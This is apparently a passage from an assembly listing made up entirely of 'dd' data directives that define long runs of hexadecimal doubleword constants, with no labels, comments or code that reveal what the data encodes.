		dd 702849C7h, 716D3020h, 4D004A1Eh, 557C83E9h, 77A06E5h
		dd 0F420C09Bh, 47280C1h, 0F0B0B92Dh, 3090A767h,	34C0EB75h
		dd 7A2F707h, 0C39C91F5h, 61AECEADh, 245C6B80h, 6D0080EEh
		dd 0E3399D5h, 12900367h, 5F577C59h, 8F56C0FCh, 68D31482h
		dd 0A7B43100h, 0A732E90h, 5DB822h, 1D5ECDD6h, 20C46ECAh
		dd 67DFFC12h, 41D77400h, 4CD4F73Ah, 81007D0Bh, 7C258D8Ch
		dd 280095AFh, 6C6B52A0h, 31F9C36h, 33E28402h, 25D80E7Bh
		dd 9305DA17h, 2AA7D0F1h, 6755CC90h, 0C81800E4h,	0B08C2684h
		dd 68795958h, 0E0FB0500h, 3FD3E6FEh, 9B83048Dh,	0C0FA7A8Bh
		dd 94E1E944h, 18FBEF00h, 0D7B76077h, 33A3007Fh,	0DF68F243h
		dd 465CF3C1h, 6CCB0313h, 0AC28E622h, 8340480h, 9E440296h
		dd 6B38C90Ch, 1C818C84h, 89073F40h, 24C78BC3h, 80C8D282h
		dd 4E8EEE4Fh, 0E27230FAh, 0F822C403h, 51E0C3h, 0CFB34114h
		dd 2F53C86Eh, 1F6C1100h, 4C819C29h, 0B0BC1EF7h,	0A7448171h
		dd 24B389C9h, 0B7008F1Ch, 0C7C16131h, 0E6103F05h, 24EC8Dh
		dd 2D9B6B07h, 0D570C6F9h, 0BAABA413h, 8FBF00BFh, 58F8F2A6h
		dd 6E791C13h, 9BFF3400h, 25A72F59h, 0C00151Dh, 88D7536Ah
		dd 0B8270B18h, 0E27F70h, 8CD222A8h, 0CB7DBC68h,	0DE3D2AF0h
		dd 0B7809EFBh, 0FCED7180h, 0B33DC99h, 0C21211D3h, 0C41D880h
		dd 2042AE6h, 361FC457h,	0DB44A0h, 72DFEF34h, 0B82CDECh
		dd 44579701h, 0C85348CFh, 0C808CD9h, 59D234A4h,	93EC380Ch
		dd 0E84AAA00h, 2FFB6BFh, 0C7C00083h, 77AD47D1h,	0AE00EC29h
		dd 0E63ED35Fh, 0C517D2h, 64317E1Fh, 0D8A52D12h,	17D70548h
		dd 0C84F2E88h, 0C24380E5h, 1F70C0Fh, 6ED0679Bh,	0D43C1FA7h
		dd 0D6FAB714h, 3E1E2500h, 9A627105h, 31CEAF9h, 99D9F26Fh
		dd 44A90AAFh, 83F02093h, 1820BC00h, 7ECD6CACh, 684E0073h
		dd 0FA341C3h, 7A03327Bh, 88D39B4Dh, 3C1E13Fh, 995834h
		dd 141F94A9h, 8CF26884h, 0C1F14400h, 11D6BDE8h,	570C000Dh
		dd 0CDFCE202h, 3A037E1Eh, 37591516h, 181003B7h,	0AF21D109h
		dd 55AB57C0h, 0BC893E00h, 1844034h, 79B27BAAh, 95FD000Fh
		dd 0F0CCE0B7h, 36005E1Dh, 0E35272FCh, 246B5A04h, 2D94D7A5h
		dd 0A100BBF4h, 0AE9F56FDh, 0C26E3313h, 7AC83960h, 0C9000154h
		dd 3C05E699h, 1EC448F7h, 0C0D5379Ch, 14EDAC3h, 0B93F9615h
		dd 0E73F0327h, 0F88CE545h, 5AFAB3Bh, 0ADD943E8h, 0FBBC8874h
		dd 6EFE4Ch, 0BEEAF3D0h,	401593h, 453F5A8Ch, 8CAF863h, 0B8541A00h
		dd 0E2C3AA30h, 0E9F0E7h, 4CD6B4EAh, 0D3176E32h,	0F600AB90h
		dd 15B72DDFh, 0E8591436h, 73E800C4h, 0BAF172DEh, 1F01A8B5h
		dd 836761CFh, 4C30F9EDh, 47FC07BDh, 575A3CF0h, 8A0DB096h
		dd 313B228Bh, 8DAE1EEFh, 0FD0044A6h, 5BE6A57Ah,	0A3E009Fh
		dd 13968308h, 20C35DEAh, 0E0BD5A19h, 0B74B611h,	0BE7F26FFh
		dd 3ED8600h, 0AB79670Fh, 687F2BE4h, 73A0A61Fh, 0AEEF8540h
		dd 0F944F9Fh, 776C658Ah, 47B131A0h, 0DC00958Bh,	7302E350h
		dd 57E6C7h, 97E2A7A3h, 936A879Eh, 43524F00h, 4630B1F5h
		dd 0F86EEEF1h, 45BD07A6h, 209759B7h, 26FA81C5h,	3058B12Ch
		dd 0A08D938Bh, 0F2B5260h, 19F4033Eh, 0D59D31D3h, 0B7D43E8h
		dd 94884D00h, 0B48E9991h, 9C700F1h, 55BCB236h, 1898A6A0h
		dd 3113AD00h, 1808E0FAh, 0C89F00E4h, 0F075A74Ah, 6D010B2Eh
		dd 590FBE58h, 0D1EC2C55h, 0E85F0901h, 4CA0A080h, 37C90693h
		dd 7C0ECE0Bh, 586000ECh, 3D09335Ch, 14BE8713h, 3E8AEF01h
		dd 8E9356AFh, 3D723278h, 6DB42D00h, 1276B152h, 0F023F5h
		dd 2F7A04E8h, 0B800FC13h, 40365F9Fh, 9FEADDFFh,	0DA007470h
		dd 0ADD17DE7h, 52BF0h, 5783B913h, 58515EF1h, 0F6F8524Bh
		dd 0C96CE401h, 0DCA67810h, 8900FF42h, 86653FEFh, 16A107E7h
		dd 442F2B0Ch, 4F0F9Ch, 0BE951792h, 49990058h, 88542451h
		dd 0A80736D6h, 555C2E44h, 1674FB70h, 0A21E136Fh, 83FE00F2h
		dd 4D29C0B1h, 5200DEE0h, 7D185577h, 1F504228h, 817EB732h
		dd 0D1682046h, 0C6F03049h, 762520h, 0AB65D481h,	129A334h
		dd 1A82CE00h, 46534F9Bh, 1BF90373h, 0E4D341FDh,	7540729Ah
		dd 590082DEh, 0B4C17D40h, 71D3608h, 9629E84Bh, 0AB03CFB3h
		dd 4EF8D63Fh, 44ECC95Bh, 0DE78D300h, 0D1A0DAF0h, 48EF00EEh
		dd 287C34C1h, 0B5004718h, 0ABD35095h, 716360h, 0FC8B06B3h
		dd 0A707995Eh, 0A4088900h, 0C37F7564h, 9AB8016Ah, 0A2F3567Ch
		dd 8E92E0C6h, 0A00FDB0h, 0E242A3E9h, 98946E5Fh,	385600ABh
		dd 0CCE58F47h, 8D007E19h, 0C03571AAh, 2CD5E2h, 0FFBDEF3Eh
		dd 330A5091h, 0E640CF00h, 0A49516BCh, 0B0D11CF9h, 83833C1Fh
		dd 0AEB42061h, 36AB3EA8h, 12CAA600h, 7E2304F9h,	0B0C03E99h
		dd 8F9CDC80h, 9328FA3Ch, 8075FF0h, 0AC70B755h, 0C245C01Fh
		dd 1D14ABh, 96D3CE4Dh, 4A6241DEh, 0D5773200h, 6545D181h
		dd 140A00C8h, 92729461h, 3F7FDC87h, 0FC8D6209h,	3936000Eh
		dd 1D451Eh, 8A511A97h, 508E6636h, 2300CCE2h, 0B9C4EB95h
		dd 42F22Dh, 59A871Eh, 664AB70Ch, 0DA3BBE1Fh, 93101400h
		dd 0A65F54h, 3822F5B5h,	7E2F876Ch, 0BAFC0B00h, 93409824h
		dd 0EB789F63h, 0A1123100h, 51060C82h, 1E728Ch, 0B50B9C9Bh
		dd 0CD49F0C3h, 0F274BF00h, 9A6A96F4h, 0BBE2001Ch, 0BD19EF26h
		dd 7A00242Eh, 0A0F25DE0h, 0EB118F4h, 0F0FDE7EDh, 0C808A0Fh
		dd 11C2EB0Fh, 879E9539h, 0E8103559h, 3D04280h, 1C96F8B9h
		dd 0FED48C19h, 0A1286480h, 0C5D724D5h, 53ED6500h, 84803839h
		dd 0FB3000F0h, 0A2A70C69h, 9D00E088h, 709AAD16h, 1D555012h
		dd 4B7374h, 0F4E2A38h, 4100A4B9h, 1088A1F2h, 2835A06Dh
		dd 7E8C2175h, 0A23B0027h, 0E60666Ah, 2A0F9B99h,	608ED5F9h
		dd 0E80FEC1Dh, 331B1FCAh, 1FC94274h, 386019BAh,	0CE002541h
		dd 4CBCC273h, 283F9Dh, 60D9AF15h, 8D358205h, 75A39B00h
		dd 0E57FB00Bh, 0D387007Eh, 131626AFh, 5D000550h, 41F90127h
		dd 1AEC5A1h, 0B4D8E003h, 506CA269h, 63ACA3D0h, 5E00E8FEh
		dd 4516CC41h, 1EE3D908h, 1879F77h, 0F522BE3Fh, 0D4C44069h
		dd 9D008A8Ch, 0D0FC2C13h, 1B4D17h, 8793325Fh, 756D1ABDh
		dd 0CC20243Dh, 0A204004Bh, 0C2FC8141h, 80100084h, 7A38D29h
		dd 1300B66Ch, 3583A797h, 78B5651h, 3AFDE141h, 0F3DD90A9h
		dd 3900D6D1h, 0E8EBAC9Bh, 1C14464Ah, 80E1B6CAh,	0EA505856h
		dd 86002E61h, 4613FD28h, 0E2276BFCh, 0C060E772h, 544700A3h
		dd 0A8980791h, 0C40063E9h, 0D6953C61h, 7A5ADFh,	5E447D7Eh
		dd 0B5CD1E9Ch, 0F1EF5D0Ah, 630F08E8h, 30232081h, 0F86574Ch
		dd 0BBF82B8Ah, 697326A0h, 84928225h, 4ED89C03h,	0B830E797h
		dd 744CBF8Eh, 4DFB1E2Fh, 7798700Bh, 38EA1BA7h, 868F9906h
		dd 3088E63h, 0A6019265h, 213AA90Eh, 3FEC98E7h, 18C4D038h
		dd 8CE0347h, 4E00739Ch,	0AD29DF8Dh, 15257EBh, 0D1894366h
		dd 0CC08917Eh, 0ABF05810h, 6800CAF6h, 57C936D9h, 0F6EB6F1Ah
		dd 0CF7B740Ah, 0A6EC7240h, 17016C70h, 611034DCh, 0C30E6E1h
		dd 94E01E1Bh, 333A8058h, 6BCD2E98h, 88B47430h, 1AAECE7Dh
		dd 0A9A6E157h, 87996011h, 0D5D06360h, 0CFE69741h, 336E1440h
		dd 0A8180059h, 584E880Dh, 0D67A219Fh, 0E6D8F000h, 5C375D9h
		dd 535200A8h, 0FC96D184h, 6D0740B6h, 2274DDF3h,	0A0A1D7A3h
		dd 384477C4h, 0A8002B78h, 0CF51AFDAh, 8200BDB0h, 0BCB83B21h
		dd 3C84F260h, 0B31CD5D9h, 618040FCh, 21B764EDh,	1500B27Fh
		dd 0C8F7E0E8h, 0DCCB6Bh, 0BDCA4296h, 0F0827BB3h, 23E9380Ch
		dd 7B87C15Ch, 0CE7C0718h, 0E58B488Ch, 0DAA8C374h, 9010210Fh
		dd 3B809E84h, 6FCFBDCBh, 32A10017h, 4896AD76h, 93F053DBh
		dd 0BD7BCE0Fh, 0A44E8538h, 81F9C12h, 1C6E4746h,	0F98C0010h
		dd 9F92CD0Ch, 0E71D0B4Bh, 53152A4Fh, 0D1A61EB4h, 71A11CC0h
		dd 0FEBA0D39h, 0FF72008Eh, 0BD5B6219h, 7C00CC4Eh, 0EF88351Fh
		dd 1FC9E065h, 374C61CBh, 4FBB11B1h, 182182C6h, 7953BAh
		dd 7108C511h, 0D8006091h, 0BAA0E0B9h, 492F0CF8h, 5008E872h
		dd 3200BC92h, 0F999E0E9h, 6071F8B8h, 36819F3h, 610739D0h
		dd 859A624Fh, 0A5A7E090h, 366A139Bh, 0A49E1576h, 7773F300h
		dd 0DC70962Fh, 5A27C303h, 1E5747B3h, 0C0A884C8h, 8EC2E3C9h
		dd 922E6997h, 0A9090306h, 4180F722h, 647EFD68h,	0A2E02000h
		dd 6EBDD15Eh, 342D2E85h, 0FD6F0159h, 0F0ED4286h, 8400AAB6h
		dd 0F1E8CB9Eh, 481FEC31h, 250017D5h, 468B4573h,	53CED74h
		dd 8E480006h, 0A04BD509h, 8F11C024h, 34C34419h,	39344890h
		dd 0B8C68A2Dh, 14C60021h, 98AE85Bh, 0E200CC3Ch,	3DD69968h
		dd 7EA74F5Eh, 860CA4Ah,	7146562Ch, 0EA1AF901h, 80BF26A5h
		dd 9AF692C8h, 625F52Ch,	8E3536D1h, 6F0030D8h, 0DACB2093h
		dd 0EEC4AEFh, 53562299h, 0F55CA480h, 3D00E2D5h,	31059032h
		dd 7C3DB84h, 0FCD886B3h, 540890A0h, 24E2158Ah, 61035D7Ah
		dd 1602F90Eh, 6BFAE02Bh, 0C37528h, 0EEAC6751h, 73A25F77h
		dd 92CEDC00h, 25FE534Ch, 710E007Bh, 79886336h, 730F56D9h
		dd 800FF7FFh, 843ABC74h, 0D2EA0398h, 0E9F16A7Dh, 86A934E0h
		dd 3F616E00h, 95FA16Fh,	0D3840B3Bh, 0B9806689h,	734D9EF8h
		dd 916EF103h, 103485C1h, 1DEE21h, 0F17403EAh, 517A26h
		dd 0BB81B74Ah, 0FE6D9A28h, 52F680C2h, 0C88F0FF8h, 0D138224Ch
		dd 51C05AF8h, 0AAE4F160h, 39E53CBFh, 712A7F00h,	102281D6h
		dd 0C3748E03h, 0F817B218h, 0D94D15h, 0B4B3AA1Dh, 96BD5F55h
		dd 5C23Ch, 8ABE1BFEh, 2CCF57h, 5C1D67EEh, 188E3A4Dh, 51C2C900h
		dd 41487DB5h, 0C46F582Ah, 5D4A6E07h, 0D1E0C09Ah, 0D5FC7804h
		dd 0D33DE570h, 776780E2h, 9CFC25D6h, 303BFEBAh,	18CE4B0Ah
		dd 0A400D2FFh, 0E4371FA5h, 57F28Ch, 520C834Dh, 165E811Dh
		dd 35EE9B00h, 0EC686314h, 7F1702E7h, 0B6994BE8h, 0A133CD41h
		dd 0F5C00410h, 0E57EE9h, 0A71CCE23h, 248A824h, 0E3B53203h
		dd 0C0829153h, 0D643B0h, 9B23F4E7h, 0BFB320E2h,	80B4040Fh
		dd 0D90D87E6h, 0F2050110h, 72EF0036h, 3C29852Ah, 0D528CFB3h
		dd 0F100C463h, 0A28BFBBBh, 52F30Fh, 1C0EF61Bh, 0A3948187h
		dd 141D2D00h, 82766A48h, 15C788Ch, 8BB14674h, 0F8BA63BFh
		dd 4A71D4D9h, 0E507DE78h, 906A68D1h, 0BDFA0A90h, 6CDA00FDh
		dd 21424161h, 0AF00C30Fh, 0B23127F7h, 7E8D604h,	54658978h
		dd 46C6D0CEh, 4100BB5Fh, 7E588CBCh, 0B86C28h, 15D0BA05h
		dd 0B5C7D435h, 1EB02A00h, 4B73D18Bh, 915B0778h,	0F0764E5Dh
		dd 0DAD518BFh, 93A4A301h, 0FA5A1D8Dh, 38678C8h,	7203E9FEh
		dd 11B865B9h, 2300E6F9h, 5BD4033h, 341CE89h, 0AB1A029h
		dd 8AD890D6h, 6D6063FEh, 4E7C8411h, 9B42002Dh, 0D31138F6h
		dd 0D4070907h, 0CD41525Ah, 0F88BA723h, 0F58B771h, 4C786463h
		dd 0FF9ACB00h, 0CC039CBCh, 7F189690h, 888E4BEh,	0BD8D5CAEh
		dd 0DE862300h, 0BB38ECE7h, 0AAE8D8E6h, 6BCA610Eh, 9E35208Eh
		dd 744EA1h, 0DFB151D3h,	0AEB4E762h, 4DD911Eh, 0A060FFC0h
		dd 1CB8802Ch, 0DEACC531h, 35000ADh, 55A4CF0Ch, 83FE3300h
		dd 9C3049B5h, 299100EAh, 0BE9F89CCh, 0FB60435Fh, 73A0F4F1h
		dd 0F9280EF8h, 0A3E06A0Dh, 5CD54B2Eh, 2A30DC90h, 31662809h
		dd 0F10760FDh, 0FBE7D198h, 3DC9700h, 8F4C0CB3h,	0C56C00CAh
		dd 77ACDB68h
		dd 7100A09Ah, 853E395Ch, 9D15B2h, 7F54D0F0h, 105DB99Ch
		dd 1CFCDF3Eh, 0D140EBAEh, 138E497Ah, 68691487h,	0D8009C89h
		dd 0CF62C8C1h, 0F0E398DBh, 0BAF8F24Eh, 0A2A96E01h, 0E4E31D53h
		dd 0F3E87D0h, 75EE6FD9h, 198B85A1h, 800DCD34h, 12F12AC0h
		dd 0F79BE0Ah, 58CF2FC1h, 0BDDE0280h, 0A30754D1h, 33A1F4C9h
		dd 0D4A97F80h, 0D3DF24C3h, 0CD1480D4h, 93F3C875h, 34803E00h
		dd 0B860C60h, 0C7D80092h, 73D5369Dh, 0E81E469Ah, 20F935Dh
		dd 115A803Bh, 0F984AFh,	865F1F83h, 5947FA1h, 0BA906B00h
		dd 17FF4E6Ch, 0AC2D122Bh, 9E0443B6h, 0B8010F1Fh, 88C2779Ah
		dd 0BED4C9D2h, 288B49B3h, 0BDD4B60Ah, 0C5590097h, 0B81C053Fh
		dd 58CE6413h, 0AB128E05h, 0FC880280h, 0BC99008Bh, 0B7181C68h
		dd 0C0003D75h, 0A954F085h, 0FFAB20h, 0F20444FAh, 13A62B8Eh
		dd 0B3EDA41Eh, 0ECBFF080h, 16FE32Eh, 0E61D90ABh, 0EC2A60DCh
		dd 0F7004B04h, 0A062E79Fh, 7E032DCBh, 0E56812DAh, 92A44381h
		dd 303ADB2Ah, 15A40985h, 6424008Fh, 69966D4h, 0E1165CD1h
		dd 9A00105Dh, 0F0C09148h, 6D9C7h, 0D024EC67h, 11BF9434h
		dd 986A4500h, 0F2D4D382h, 79C207E7h, 7006AC74h,	0E2C35DB6h
		dd 4CD01800h, 0FF0A6446h, 0EDDC004Bh, 2FDB1B45h, 8801DF2Ah
		dd 0E831A56Ah, 0C83004D0h, 1B1700BAh, 42E526C8h, 1D0079D1h
		dd 1E4CB025h, 1295992h,	6C3185BEh, 0E0EA1C75h, 0B8003D97h
		dd 8B3F2190h, 984F2Bh, 0E8D7A296h, 0DAC218CBh, 1FEEF60Eh
		dd 24A3C0FFh, 28480Bh, 0C61D861Bh, 0D43D34Eh, 817F4900h
		dd 5606FB1Fh, 0E2250004h, 7EF538EDh, 4C0EA12Ch,	0A0B16E65h
		dd 27BF1274h, 14B5002Bh, 0E58EBA5Ch, 0C2006F50h, 0A28871Dh
		dd 0D376D9h, 93F6A44Dh,	31A6826Ch, 38235D01h, 9674750Dh
		dd 26A6824h, 582E4A3Fh,	61E092C5h, 4D0C9156h, 11AFBC78h
		dd 1BDC00CDh, 8D52DDD3h, 9000A3DFh, 0B588A7C6h,	0B02406h
		dd 0C2D9C5E2h, 0AD630A9h, 92EDCE00h, 1A478263h,	4BE0205h
		dd 686B14ABh, 703E5CE0h, 64CAED00h, 652F44A8h, 0EC2800FBh
		dd 0A4F23DA3h, 0D6006F82h, 4014C198h, 45DF7Bh, 0D2246586h
		dd 90027A57h, 0E5B91101h, 5D44FEEDh, 48C395D4h,	2E007BABh
		dd 78CBF1BEh, 70791331h, 0D868DE00h, 439DADE5h,	0A09500A2h
		dd 0C4D1E8B7h, 2007E44h, 0FDCF264Fh, 0FC3E2Dh, 506CD267h
		dd 297C0A7Fh, 6F2E5C00h, 0A544D69Ah, 0E5DD0027h, 681CFFE1h
		dd 0ABB0865Ah, 3F354700h, 1EEDA574h, 51550F0Eh,	0D0A01938h
		dd 72290861h, 8406DA01h, 76F1FC8Eh, 449CE340h, 0AC7D3AC2h
		dd 0F6FF790Fh, 1D261Ch,	834CD736h, 0C41C0A45h, 0D50087F9h
		dd 1904463Eh, 1FC7280Fh, 7A5D00A3h, 533FA50h, 0DB00A66Eh
		dd 0C13220Dh, 17DC874h,	28330AFh, 0C4B6714Ah, 1C795E2Bh
		dd 8FB2CF00h, 1728F672h, 23333FBEh, 404BFB00h, 53107C94h
		dd 0C400EB7Ah, 1EF2E25h, 27E45E4h, 0BDB4E6CFh, 0C560B52Fh
		dd 0F5033EC3h, 79CE69AFh, 7F27900Bh, 0F21E3CCDh, 4E226D00h
		dd 0CA882E3Fh, 300BB7Fh, 0BF62E23Ah, 15D5440h, 0C135BE71h
		dd 0D5DB7C10h, 0D3B8C3F2h, 0D800403Ah, 1417A436h, 0D589F3h
		dd 84D79764h, 0F807CC6Fh, 0E56C3Ah, 0CF0A4027h,	17BE41h
		dd 4DFEAAFAh, 37BA4961h, 0DE7C3C00h, 0B58E9815h, 69DA0092h
		dd 8BC2341h, 2264A73h, 4D000153h, 19037E62h, 251F005Ch
		dd 0DF700EA2h, 4C0BA02Ch, 0F073A3EAh, 0B90F1E28h, 88E5C02Dh
		dd 0C1FF4A86h, 5FB6948h, 0FE631789h, 56970800h,	30A6186Ch
		dd 0E128F32Bh, 6C900325h, 5C1BF200h, 0CC23368Ah, 0ABD0020h
		dd 0B6859978h, 2500AF26h, 4C3EA0FCh, 696596h, 3C4376CCh
		dd 46F41BB4h, 0AEE094ABh, 2B09E6A2h, 865902AFh,	561476Bh
		dd 19E10C99h, 30803FEh,	0B3D89857h, 0A3024ABFh,	186F5688h
		dd 0CC50A2A7h, 8DB41002h, 5DB53607h, 0C85318Ah,	73891400h
		dd 6F6542h, 4C9CADD9h, 15E39822h, 30601A18h, 0D8962Ch
		dd 43D15262h, 94BD65ABh, 207B5E30h, 0E6F8A71Ah,	6D7E0F93h
		dd 0DF60E185h, 0DEDB63F5h, 62FE5100h, 67C998C8h, 0F2860077h
		dd 0DDC56B0Eh, 1000BF4Ah, 0A1FDA68Ah, 72E84117h, 7A780145h
		dd 0E1F07090h, 6F0CF8B5h, 31BF5F00h, 45C173DBh,	250D006Eh
		dd 24B9A497h, 0AB001AF2h, 0F84265F7h, 2803612Ah, 0E8AC6D8Eh
		dd 24CA140Ch, 7084C0h, 0F1ECDE0Ah, 12092EEh, 13CF0400h
		dd 9033A9B9h, 5C394827h, 8695BA00h, 613EDF67h, 0C08B9F00h
		dd 4BB45E17h, 50D30AD1h, 94DC6A3Fh, 1FC0414h, 0C0D5C528h
		dd 20768907h, 752676Ch,	0AAC481E8h, 0BC473D6Ah,	54B5D200h
		dd 62ECFEB2h, 0E9EB293Ch, 22160B22h, 1F22B446h,	216F243Eh
		dd 4A12D947h, 893A5F10h, 44500873h, 0BC441E3Eh,	80B67E35h
		dd 9C8042D7h, 818B04F2h, 85112CB4h, 9D7F8090h, 0A307614Bh
		dd 8D14AC7Ah, 395F1230h, 347D1FDBh, 1797C0FDh, 8449B9Eh
		dd 1F00D499h, 20C5CBB1h, 91A51E87h, 0D7B7C09Fh,	80B495A1h
		dd 0E9638F00h, 0C3B6BFCFh, 157B3A18h, 36BD6080h, 0A47A19FEh
		dd 0E468E103h, 70F8A096h, 92B40019h, 0B5BEF728h, 0DF00F3A2h
		dd 948C1BC2h, 3BCFA19h,	0F4443563h, 83AD1E79h, 13B84BBDh
		dd 200F91DEh, 0C0896B98h, 7726CD72h, 0DF1200D0h, 0C7D72D31h
		dd 800AFDDh, 7FB7F1F3h,	0E4E757h, 0D2843A79h, 0F428CE98h
		dd 0D7732F00h, 0A0931B13h, 86F00F5h, 617A11D1h,	5D004314h
		dd 0B6234FE7h, 3D54C71Eh, 5980678Fh, 0F42FDF18h, 754C02F1h
		dd 0CB6401EEh, 89EE6181h, 0F03AC72Fh, 6BC740FBh, 770D360h
		dd 0C9F70Bh, 32E0D503h,	0F19A7EFEh, 7A8FA3Eh, 979424C5h
		dd 9C4D4060h, 0BCE811h,	106795F2h, 0BAF65373h, 4CC348h
		dd 404C2361h, 0ECADDF76h, 4B7F0F56h, 0EF072D5Fh, 2451007h
		dd 0F2F80550h, 0A7331707h, 1627FEFDh, 0A4CFE7A0h, 88D0020h
		dd 4E443C3Fh, 3B00B422h, 39D7817Eh, 3EE9E46Dh, 0CA0BC20Ah
		dd 8068EB0h, 0BF1F2A19h, 6387A668h, 8FE07F94h, 0E4964BC6h
		dd 33350086h, 0B3295CC0h, 0D0055C9h, 0F1D37E6Ah, 1FB78A69h
		dd 0C5A7C78Eh, 0C0DC0CDFh, 0FBD95A2Ch, 0BFB91201h, 21966CB2h
		dd 6AF360h, 0C1F2FDEBh,	2B3E0893h, 495A901h, 5AB9670Eh
		dd 18DD024h, 0BED246D9h, 60D67041h, 4C7F1B54h, 3B10F700h
		dd 8707137Fh, 1ED57B9Fh, 0C80B51h, 656C84BFh, 9B01D3E9h
		dd 0CC5E7C02h, 1AEC9E34h, 91FD0017h, 57EFBF0Eh,	35769A7Dh
		dd 75927801h, 43253B1h,	3EF4F034h, 2282560Eh, 7FD083E8h
		dd 0C4718BE0h, 2F00EDFAh, 0C242D9EEh, 3C02D8FBh, 67806FBDh
		dd 0EF257C46h, 781DCCB0h, 0DF806B43h, 0D45CC750h, 5095769Ah
		dd 381B823h, 0AB7560BDh, 4BD009EDh, 240099BBh, 0EB842F8Bh
		dd 7E6FC6A4h, 30FB6EAFh, 0A18983C0h, 9F0FD42Ch,	1F992F6h
		dd 0CEDF56EFh, 0C3B0E047h, 4160C2h, 83077965h, 0D7E0547Ch
		dd 639E9A00h, 0A8F6A170h, 0C2CB001Fh, 0DED4FB97h, 8277BBCEh
		dd 0D244AB00h, 516EBF31h, 0CBB50099h, 3C342137h, 0CCB25B17h
		dd 0A0851300h, 0A7F169BDh, 4ECB0C1Dh, 0ED10969Ah, 9B7B8600h
		dd 900183B0h, 0D2C148E4h, 0C233CB00h, 7A6BEF6Ah, 142AF000h
		dd 0BD66919Dh, 0E72400D9h, 0EA78B932h, 0D4078BFBh, 0BBE8A073h
		dd 0AB12E500h, 0F9CF01A1h, 4580518Ch, 0E885C12Eh, 2A1D0A77h
		dd 3B80F292h, 97ED7D33h, 8044B0B3h, 179098h, 55219C5Ah
		dd 4053AD5Fh, 580F5DF2h
		dd 6FF76416h, 607A072h,	231BEEh, 4B953FFh, 0C1212FD3h
		dd 19A5EA30h, 39F903B4h, 58C89905h, 5F15F616h, 4F8B423Ch
		dd 0C7409F6Eh, 3A0330F0h, 412D224h, 5DFD888Ch, 289A2D59h
		dd 2118F1DEh, 185199D0h, 0A8D238E7h, 0C87E6B64h, 1BE1D600h
		dd 0B19BA9AFh, 0B2EE09DBh, 0EF806F33h, 0C8D549B9h, 6692A00h
		dd 0C0D80A27h, 4B16007Fh, 536F8AC9h, 6000FA63h,	35748086h
		dd 0C9BD440h, 31DD236Ch, 0F00F0CF2h, 80E4AEC5h,	7A5617E2h
		dd 291B00C1h, 6B0267AFh, 8C0339B1h, 9A89D38Dh, 0D598C8F8h
		dd 748700F5h, 79FCCABh,	58006EBCh, 0EA5EDC9Bh, 9F82136h
		dd 96AA024h, 95631000h,	7A008D96h, 5A6CF745h, 0CF269D82h
		dd 84A70D10h, 9253006Bh, 0F100D483h, 0A3F6B51Fh, 7AF8DE89h
		dd 0D9A1005Bh, 33DD74FFh, 9624AB4Ch, 0A8021043h, 48AB0FAh
		dd 0A40BC04Eh, 0C7384495h, 0AD8281D9h, 0BB391DC6h, 30704461h
		dd 8F03044Bh, 0D01A2E74h, 0AEDE3120h, 0F432E10Ah, 0A801C01Bh
		dd 306E2E6Ch, 2D008C28h, 0E45E3540h, 0E2002932h, 71212707h
		dd 1F347C2Ch, 0A87E3960h, 161E7BE4h, 40872368h,	0D69AF790h
		dd 0C600FC16h, 29B5B99Dh, 3A23EC0Ah, 1D809C4Ah,	625E7E0Bh
		dd 3E038ACAh, 0A99D4BB3h, 0C930007Ch, 0E8941D65h, 85005BA3h
		dd 521C24FEh, 0ECF007h,	7FB435D5h, 73B10AFCh, 18CE6D00h
		dd 71FE8DDDh, 5AA30072h, 4B824BAh, 0EA0CEC6Eh, 20B6C068h
		dd 2EE888h, 0C452A921h,	2BA532BFh, 0BD209F00h, 8FA70CF6h
		dd 92200DBh, 167206EAh,	0AD00B881h, 94DCD9F2h, 1CFE17h
		dd 0C7B7CB9Ah, 80935068h, 0BABB4100h, 9D07DE7h,	2B300099h
		dd 0B94FFE67h, 145D0FEBh, 503BB4h, 5D69BFE0h, 0F0B9FCEh
		dd 6C9609BBh, 21A89800h, 0D4E43AB9h, 0FF169400h, 0D5DA1142h
		dd 434B0004h, 460F1FCDh, 72020A63h, 95EE34C4h, 6D54E022h
		dd 9CCE00A4h, 6E2F2533h, 8078C7B9h, 9A158500h, 380C241Ah
		dd 75C96BEh, 0D063407Eh, 0D3E35DABh, 45A57000h,	6688E4CDh
		dd 1A680005h, 0F86CE5A1h, 0DE000AB2h, 9607F07Eh, 0CA4270h
		dd 0FF70428h, 0D465683Eh, 0E0FAD8E3h, 0C2729E12h, 2EF72C80h
		dd 0F89467DDh, 0E18D42C6h, 10CD2040h, 0D76C6900h, 62AA84DFh
		dd 0A51E02ADh, 0AF58D3Bh, 36D90040h, 0BD120D00h, 38B64C1Ch
		dd 33850096h, 941EA21Dh, 0B30CFAB9h, 5079DD78h,	0BEC70086h
		dd 96A0F754h, 0DC7AFE33h, 0C8A2ED00h, 0DB63C684h, 0E2EA00B6h
		dd 71BC6B25h, 4007FF1h,	0C543D6ABh, 0F0DBF6h, 81649FFDh
		dd 0EDEC6528h, 69004896h, 502DAD4Ah, 35802EE6h,	3C7A036Fh
		dd 9600B9B4h, 0D37CB638h, 0ACDADDh, 63558C19h, 61A0A15Eh
		dd 0E5252800h, 0CFF2625Bh, 328B3A29h, 7594E680h, 2A7C4555h
		dd 0B14BCB8h, 0DBA853h,	8A3E7F8Dh, 364A156h, 0AF315C0h
		dd 1AF8E981h, 1101DBECh, 0DAC97A0Dh, 74D4F68Dh,	3B080FC0h
		dd 62003D40h, 36A14D88h, 92E05A18h, 6965821h, 71566339h
		dd 0C109D82Dh, 602C3266h, 0B284CC44h, 5DE624h, 418BB08Dh
		dd 5061E782h, 3045F400h, 6251733Eh, 0AEA938D7h,	0DB5CA082h
		dd 40401A20h, 8200D3ADh, 0FE3743A7h, 0A0C9560Bh, 0DD3DB9h
		dd 545EDB71h, 15B01FA3h, 0BC00607Fh, 7FBA16AFh,	0F422B9h
		dd 10A0B3BEh, 31097AE9h, 661E67FAh, 7500CE9Dh, 13A22DDAh
		dd 58500FDh, 2A5D5E9h, 3400388Eh, 52F29F4Eh, 39C4F8Ch
		dd 91B43296h, 0FDDA8415h, 82AC4040h, 44535B0Ah,	0CF81CCB1h
		dd 0B0C8EE24h, 0B879AF43h, 7F0BD5Dh, 0AC4D69D0h, 40BB25E4h
		dd 3B750CF8h, 9701BEF2h, 57014F7Eh, 0BC202C65h,	0F4AE3D41h
		dd 46E3AC4Bh, 13C84CA4h, 9040DFB4h, 0B6A9F898h,	200B8982h
		dd 7A007EE8h, 0A78826FFh, 1A1C3F9h, 25B87DACh, 202D770Dh
		dd 7E027F4Dh, 6B44C61Dh, 1847935h, 309B18F8h, 38FE80A7h
